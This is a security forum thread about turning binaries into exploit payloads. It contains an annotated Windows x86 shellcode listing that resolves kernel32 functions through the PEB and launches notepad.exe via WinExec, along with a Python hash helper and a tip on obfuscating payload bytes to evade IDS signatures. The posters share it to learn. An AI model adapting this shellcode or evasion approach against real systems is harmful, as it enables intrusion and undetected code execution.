Jump to content

Can you generate a payload from the just any old binary?


Recommended Posts

I don't really understand assembly code but I'm trying to learn it. I was curious is there a way to dump any old binary into a format that I can deliver via metasploit. I haven't really looked at the mechanics of payload delivery but I'm assuming payloads are delivered in a format like this:


I suppose my question is: How do I go from a binary to this hex format. Is there an easy way to dump the binary into a ready to use assembly instruction set? If so what are the steps? If there's not an easy mode way to do this hypothetically what are the steps. Is it as simple as dumping the bytes into an array and outputing them that way.

Can I take the output of objdump, hexdump, or xxd and create this usable byte array or string or whatever. I'm just really not sure where to start.

Link to comment
Share on other sites

Your assumption is flawed.

The goal of your exploit is to place binary code on the stack and then jump to it. If you place hex for that binary code on the stack, it just means you need to convert it back to binary before you can jump to it and there's an immensely large chance you simply won't have the space to do this. The reason people try to make an effective payload with as little bytes as possible is because you're overwriting sections of existing memory. The more you overwrite, the higher the chance that you'll modify something you really shouldn't and in the process will just crash. If your payload was 100 bytes, going to hex increases it to 200 bytes and you need to either provide or jump to an existing method that decodes it into a new buffer which needs to come from somewhere too. You're just making it harder and harder and harder on yourself for no reason at all.

I think you should start with looking at the exploits themselves and see what they do to deliver a payload, whatever it is. Once you have a solid understanding of the exploit, look at how it jumps into the exploit code and then look at how that exploit code is made. Crawl before you run.

Link to comment
Share on other sites

I too have been trying to learn asm, analysing old exploits, trying to learn how they work. I have one that is partly analysed which has notes that I've added, from myself and resouces i've found, to help me understand what's going on. I know parts of my notes are already incorrect, and things I thought I understood, when analysed with ollydbg, and not behaving the way that I thought they should behave. But feel free to take a look:

;nasm -f win32 allwin_exec.asm
;/opt/mingw32/bin/i686-w64-mingw32-ld -m i386pe -o allwin_exec.exe allwin_exec.obj
;wine allwin_exec.exe



	global _start; global main ; _start
	_start: ;main: ; _start:
	cld							; 00000000 FC
	xor       edx,edx					; 00000001 31D2		;clear ebx
	mov       dl,0x30					; 00000003 B230
	push      dword   [fs:edx]				; 00000005 64FF32
	pop       edx						; 00000008 5A		; get a pointer to the PEB in edx
	mov       edx,[edx+0xc]					; 00000009 8B520C	; get PEB->Ldr in edx
	mov       edx,[edx+0x14]				; 0000000C 8B5214	; get the first module from the InMemoryOrder module list
	mov       esi,[edx+0x28]				; 0000000F 8B7228	; get pointer to modules name (unicode string)
	xor       ecx,ecx					; 00000012 31C9		; clear ecx
	mov       cl,0x18					; 00000014 B118		; load the loop count we want into ecx
	xor       edi,edi					; 00000016 31FF		; clear edi which will store the hash of the module name
	xor       eax,eax					; 00000018 31C0		; clear eax
	lodsb							; 0000001A AC		; read in the next byte of the name
	cmp       al,0x61					; 0000001B 3C61		; is it 'a'? some versions of Windows use lower case module names 
	jl        not_lowercase					; 0000001D 7C02	
	sub       al,0x20					; 0000001F 2C20		; not lowercase, change to 'A'
	ror       edi,0xd					; 00000021 C1CF0D	; rotate right our hash value
	add       edi,eax					; 00000024 01C7		; add the next byte of the name to the hash
	loop      loop_modname					; 00000026 E2F0		; loop until we have read enough
	cmp       edi,0x6a4abc5b				; 00000028 81FF5BBC4A6A	; compare the hash with that of KERNEL32.DLL, see py prog below
	mov       ebx,[edx+0x10]				; 0000002E 8B5A10	; get this module's base address
	mov       edx,[edx]					; 00000031 8B12		; get the next module
	jnz       next_mod					; 00000033 75DA		; if it doesn't match, process the next module
; when we get here EBX is the kernel32 base.
	mov       edx,[ebx+0x3c]				; 00000035 8B533C		 
	add       edx,ebx					; 00000038 01DA
	push      dword   [edx+0x34]				; 0000003A FF7234
	mov       edx,[edx+0x78]				; 0000003D 8B5278
	add       edx,ebx					; 00000040 01DA
	mov       esi,[edx+0x20]				; 00000042 8B7220
	add       esi,ebx					; 00000045 01DE
	xor       ecx,ecx					; 00000047 31C9
; looks like we are searching for the correct ECX here, possibly an index for the GetProcAddress module?
	inc       ecx						; 00000049 41			; get next module
	lodsd							; 0000004A AD			; current module offset is loaded into eax
	add       eax,ebx					; 0000004B 01DE			; add Kernel32 address to offset; Actual Mod Name Address
	cmp       dword   [eax],0x50746547			; 0000004D 813847657450		; 'GetP'
	jnz       numtwo					; 00000053 75F4
	cmp       dword   [eax+0x4],0x41636f72			; 00000055 817804726F6341	; 'rocA'
	jnz       numtwo					; 0000005C 75EB
	cmp       dword   [eax+0x8],0x65726464			; 0000005E 81780864647265	; 'ddre' -> "GetProcAddress"
	jnz       numtwo					; 00000065 75E2 		  
; at this point, EAX points to "GetProcAddress"
	dec       ecx						; 00000067 49		
	mov       esi,[edx+0x24]				; 00000068 8B7224
	add       esi,ebx					; 0000006B 01DE
	mov       cx,[esi+ecx*2]				; 0000006D 668B0C4E
	mov       esi,[edx+0x1c]				; 00000071 8B721C
	add       esi,ebx					; 00000074 01DE
	mov       edx,[esi+ecx*4]				; 00000076 8B148E
	add       edx,ebx					; 00000079 01DA		; edx gets Offset for Kernel32.GetProcAddress
	push      edx						; 0000007B 52		
	push      dword   0x1636578				; 0000007C 6878656301	; 'xec\1'
	dec       byte   [esp+0x3]				; 00000081 FE4C2403	; fix the \1 so its \0?
	push      dword   0x456e6957				; 00000085 6857696E45	; 'WinE' -> "WinExec\0"
	push      esp						; 0000008A 54		; pushes the value of esp as it existed before the instruction
	push      ebx						; 0000008B 53		; add KERNEL32.DLL base to stack?
	call      edx						; 0000008C FFD2		; calls Kernel32.GetProcAddress
; Kernel32.GetProcAddress("WinExec\0")
	push      byte   +0x5					; 0000008E 6A05		; shrug?!?
	jmp       short   endhere				; 00000090 EB23		; Load the command address into memory
	call      eax						; 00000092 FFD0		; WinExec("notepad.exe\0"); !!!

	push      dword   0x01737365				; 00000094 6865737301	; 'ess\1'
	dec       byte   [esp+0x3]				; 00000099 FE4C2403	; fix the \1 so its \0?
	push      dword   0x636f7250				; 0000009D 6850726F63	; 'Proc'
	push      dword   0x74697845				; 000000A2 6845786974	; 'Exit' -> "ExitProcess\0"
	push      esp						; 000000A7 54		; pushes the value of esp as it existed before the instruction
	push      dword   [esp+0x1c]				; 000000A8 FF74241C
	call      dword   near   [esp+0x1c]			; 000000AC FF54241C
	push      edi						; 000000B0 57
	call      eax						; 000000B1 FFD0

	call      dword   returnhere				; 000000B3 E8D8FFFFFF
	db        'notepad.exe',0
and if you can help me add to this, please feel free to tell me something that is wrong!

edit: I forgot to add the python script I had mentioned above, it shows how you get 0x6a4abc5b from KERNEL32.DLL

#Python: getting the hash of "KERNEL32.DLL"
def shift(x,shift):
	return ((x>>shift) | (x << (32-shift))) & 0xFFFFFFFF

x = "KERNEL32.DLL"
print x
out = 0
for i in xrange(0,len(x)):
	out = shift(out,13) + ord(x[i])
	out = shift(out,13) #For unicode
	print "%08x"%out
Edited by fugu
Link to comment
Share on other sites

All I can tell you is that the goal of a payload is to start something from within another program. In this case that something is notepad but more typically it's a shell.

The exploit's goal is to get the other program to start the payload. The payload's goal is to start something actually useful.

You can make this as small or as large as you want, but the smaller the payload the easier it is to hide as well as deliver and run, but it can be more readily detected much like virusses used to be. Some IDS scanners will trap on certain sequences in binaries such as the sequence "WinExec" so some bytes of the payload can be sacrificed to obfuscate the code a bit and make it harder for these scanners to detect what's going on.

Link to comment
Share on other sites


Here is a old thread I started back in 2008. a gentleman by the name of psg2500 provides some incredible instructions for generating a metasploit payload into C and shows how to properly compile and then objdump the file to see its assembly...

he runs objdump -d payload.exe

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...